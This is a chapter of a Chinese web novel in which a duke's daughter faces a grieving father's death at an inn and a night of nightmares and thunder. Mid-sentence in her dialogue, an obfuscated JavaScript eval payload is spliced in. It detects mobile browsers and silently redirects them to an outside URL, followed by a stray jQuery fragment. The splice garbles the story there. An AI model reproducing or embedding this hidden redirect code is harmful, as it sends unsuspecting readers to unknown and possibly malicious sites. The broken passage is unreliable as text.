血的铁腥味直冲塞西莉娅的脑门,她看着衣服上斑斑点点的红色,手上湿润温暖的血点,一时间差点昏倒过去。
这时候老板娘终于挣脱了桎梏,揉着发胀的胳膊过来时就看见着一幕,火急火燎地大声说:“这可不能就这么算了!你大半夜把你儿子的头挂在我家窗户上,吓坏了我的客人,这账怎么算?”
老托比紧紧闭着眼睛,显然已经没有多少意识。
“我多好一家旅馆,被你闹得差点开不下去,村长劝了你多少次,你都不听…就算是曼德菲尔公爵来了,也是要治你的罪哩!”
塞西莉娅疲倦不堪地站起身。
“我就是曼德菲尔公爵的女儿,”她慢悠悠地说,并伸出一只手去找西斯,“这是公爵的继子,我们都在这,你们有什么纠纷,尽快说吧。”
西斯反手抓住了塞西莉娅。
她看起来很累,卷发都蔫蔫地披在脖子上,脸色也很不好,要知道半小时前她还被吓得丢了魂似的呢,现在就能强打精神面对这桩每个人都在撒谎的烂事了。
老托比猛地睁开眼睛,眼底流出无声的泪水,那是看到期望的喜悦。
“公爵…”他喃喃道,他的话音带着一种微弱的期望,“那么公爵能还给我一个公平真相吗?你总能答应我吧?”
塞西莉娅一时茫然不知所措了,她觉得自己被当成天神对待了,可她哪有这么大的本领!
于是她问:“您要什么真相?”
老托比撑着最后一口气,说:“纳西,我的好孩子,听说外面招工,就想去找一份能拿钱补贴家里的工作,可这一出去,就没能回来…”
“…我只好出去找他,田垄上、河畔的芦苇里、森林深处,全都找遍了,这半年过去,我的心已经死了,没想到上帝发善心,让我在河边找到了他,这个可怜孩子,已经瘦脱了像!”
塞西莉娅轻轻地打了个寒蝉。
她垂下眼睛不去看老托比:“这和旅馆又有什么关系?”
旅馆老板倒是哇啦哇啦喊了出来:“真他妈的冤枉啊——公爵小姐,我就是好心动了动嘴皮子,就被这老东西缠上了——活见鬼!”
老托比慢慢地用他那只枯树藤一样的手缠上了塞西莉娅的胳膊:“不要信他的话!他心里清楚他做了什么!纳西走出他的旅馆,就没了消息!”
烦死了,塞西莉娅心想,可有这么多只眼睛看着她,她什么都不能表现出来,还得快速想出一个应对方法,她脑子痛得几乎要炸开了,忽然觉得桎梏着手腕的力量一轻。
老托比的手慢慢地往下垂,塞西莉娅下意识去看他的眼睛,却被他的脸色吓得往后一缩。
西斯抓住了她的肩膀,声音平稳不惊。
“他死了,塞西莉娅。”
人死了,这件事倒好办一点,死人总是要多得到一点同情,这下塞西莉娅几乎不用犹豫地做出巴伦看住老板,西斯把尸体搬出旅馆,好让大伙睡个安稳觉先的决定,她这个提议十分成功,得到了出旅馆老板夫妇两人之外所有人的同意。
当西斯走进阁楼的时候,塞西莉娅正裹着一张毯子对着炉火发呆。
听见动静,她慢慢地转过头。
“唔,”她幽幽地说,“事情做完了呀?”
“放在教堂里的停尸房里。”西斯回答,“明天神父给他做弥撒。”
“他儿子呢?还是只有一个头颅吗?尸体找到没有?”
西斯犹豫了一会,说:“或许在上游。”
塞西莉娅一时间没听懂他在说什么,西斯说话常常言简意赅,仿佛多说几个字就像要了他命一样,但无论如何,也比废话连天要让人舒适得多。
“尸体在河流上游?”她耐心地问,“你是说,河流并没有完全冻住,他的尸体腐烂后…头颅顺流而下?才能被他父亲发现?”
“春天快到了,塞西莉娅。”
塞西莉娅脸上浮现出温柔的笑意:“那就去上游找找看吧,让他们父子俩能在地底下团聚,上帝会垂怜这可怜的灵魂。”
西斯被她眼底的光芒晃了一会神,随即站起来弯腰一亲她的侧脸:“你比任何人都要善良,塞西莉娅,我现在就去。”
他头也不回地推门走了,甚至贴心地带上门,不让冷风吹进来。
塞西莉娅怔怔不知道该怎么反应,心里甚至隐约生出点气急败坏的怒气,天知道他为什么会产生这种错觉,要是让他知道她根本不打算搭理托比的请求,岂不是得大失所望?
她半天没有动弹,半晌叹了口气,烦躁地用被子裹住自己,好在她又困又累,没过多久就昏昏沉沉。
外头又下起不知道是雨还是雪的东西,沙沙作响,紧接着又有惊雷炸响,刺耳地穿透雨雪,这个天气简直烂透了,塞西莉娅试图捂住耳朵,可那雷声愈发猖狂,几乎要把屋顶掀开在她耳边炸开花,这让塞西莉娅本就脆弱的精神更加雪上加霜。
她睁着眼睛望着黑漆漆的天花板,不敢往窗户外多望一眼,这时候她听见窗格上响起轻轻的、急促的敲击声,一个带着鼻音的年轻声音礼貌地说:“小姐,我脖子有点疼,能借点绷带吗?”
塞西莉娅清楚地知道多萝西把窗户锁地死紧,是人是鬼也不能进来了,因此这绝对是梦,她心惊胆战地转过头,想好拒绝的话,就见窗户上浮现出两个骷髅眼睛,这两个洞里有什么白色东西慢慢地扭动,她瞪大眼睛去看,几只蛆虫抬起上半身一晃,直直掉到她衣领。
瞬间又黏又痒的触觉从脖子蔓延开来,塞西莉娅触电似地跳下床,从胃里涌起的恶心让她一时说不出话,就在她挣扎着想找一支蜡烛点亮时,门嘎吱一声推开了。
西斯站在门口,身上几乎被雨雪淋湿了,衣服湿漉漉地贴在身上,头发用手捋了几下,仍然乱糟糟地耷在额角,表情严肃,看见塞西莉娅狼狈的模样,不免也有些慌乱。
“你怎么了?”他边说边把蜡烛点上,昏黄的烛光照亮塞西莉娅惨白一片的脸色,让他又吃一惊。“你这是怎么了?”
塞西莉娅借着西斯的手坐到床上,她的手还发着抖,抓住西斯的手就不放,只有这样才让她知道自己没有陷入那永远无法逃脱的噩梦里。
她本不想这么做,但看着西斯的眼睛,心里就止不住地委屈。
“你听见雷声了吗?”她几乎要哭出来了,“你看见窗户外那个骷髅头了吗?它借着雷声吓唬我呢!我从来没做过亏心事——至少没对它——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817914|175405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
窗户外暮然闪过一道刺眼的白光,紧接着又是轰地一声巨雷,塞西莉娅下意识一哆嗦,几乎想找个地方钻进去躲着了,但这有失礼数,最终她也只是把西斯的手抓得更紧一点,祈祷这场折磨能尽快结束。
西斯的手已经快没有知觉了,塞西莉娅的指甲尖尖长长,掐进皮肤里简直就是一场酷刑。
他朝塞西莉娅望去,她金色的头发已经被不知道是冷汗还是泪水打湿了,睫毛不安地颤抖着,整个人就像被秋风打过一样虚弱,往日里的精神气一扫而尽。西斯从没见过她如此惊恐的神情,就算是在森林里遇见棕熊,她也仅仅是瞳孔微微放大。
他抿了抿嘴,忍住了疼痛。
“这该死的雷电!非得把我折磨死不可!”塞西莉娅恶狠狠地咒骂,转而又哀求道,“西斯,西斯,你唱首歌算了,玛利亚哄过你睡觉吧?她唱什么,你就唱什么好了。”
她看着西斯愣愣怔怔的,忍不住推了他一把:“快呀,我想睡觉,明天还有许多事等着我呢!这该死的天气。”
在西斯的记忆里,玛利亚可不会温柔地对他唱歌,有的只是斥责与咒骂,只不过在他浅薄的童年记忆中,隐隐约约能记起一些轻声哼唱的小调。
他犹豫着轻轻哼出声。
…
“我只会这么多,塞西莉娅,”他低声说,“或许我改再唱一次…你睡着了吗?”
塞西莉娅哼了几声,声音柔软而迷迷糊糊,西斯忍不住低头,只见塞西莉娅整个人陷入在厚实的被子里,眼睛已经闭上了,睫毛在眼下投射出一片安静的黑影,但眉头仍然紧紧皱起,显然睡得并不舒服,但不管怎样总算是睡着了。
西斯如释重负地松了口气,此时疲倦才排山倒海地涌上来,他下意识地想要揉一揉太阳穴,手一抬却动弹不得,甚至又麻又酸,这时候他才发现塞西莉娅仍然抓着他的手不放,她的手看着细细长长,力气却不小。
他小心翼翼挣了挣,纹丝不动,又生怕再把她惊醒,看她咒骂老天的劲头到时候保不准连他一道也骂,尽管他已经习惯了被人咒骂,可还没做好被她责骂的准备,因此叹了口气,找了只凳子在床边坐下准备小睡一会,却说什么也睡不着了。
离开这家旅馆,再有三四天就能抵达曼德菲尔堡,一想到这,他就止不住地厌恶,没有曼德菲尔德公爵和玛利亚的日子是多么畅快!尽管冬天的路一点也不好走,风雪寒冷刺骨,但塞西莉娅总会说服巴伦,让他到马车上待一阵子,给他念她读的书,或者是讲几件有趣的事情,大多时候是塞西莉娅说话,她在没别人的时候话又多又密,西斯几乎插不进话,便安静地听着她那张殷红小嘴吐出一连串清脆动听的声音。
在面对他时,她是多么活泼明媚,几乎看不出来公爵小姐的架子和威仪,她是多么温柔友好的一个姑娘!
队伍里所有人都满心期盼回答曼德菲尔堡,只有西斯私心想要时间再慢一点,他隐隐约约意识到,一旦回到公爵身边,这种好日子就会一去不复返。
他抬头望向窗外,雷声在天际闷闷地震动,冰层已经裂开细密的纹路,这是春天即将来临的前兆,一些妄图掩埋的秘密也随着冰雪消融,慢慢地浮现出水面。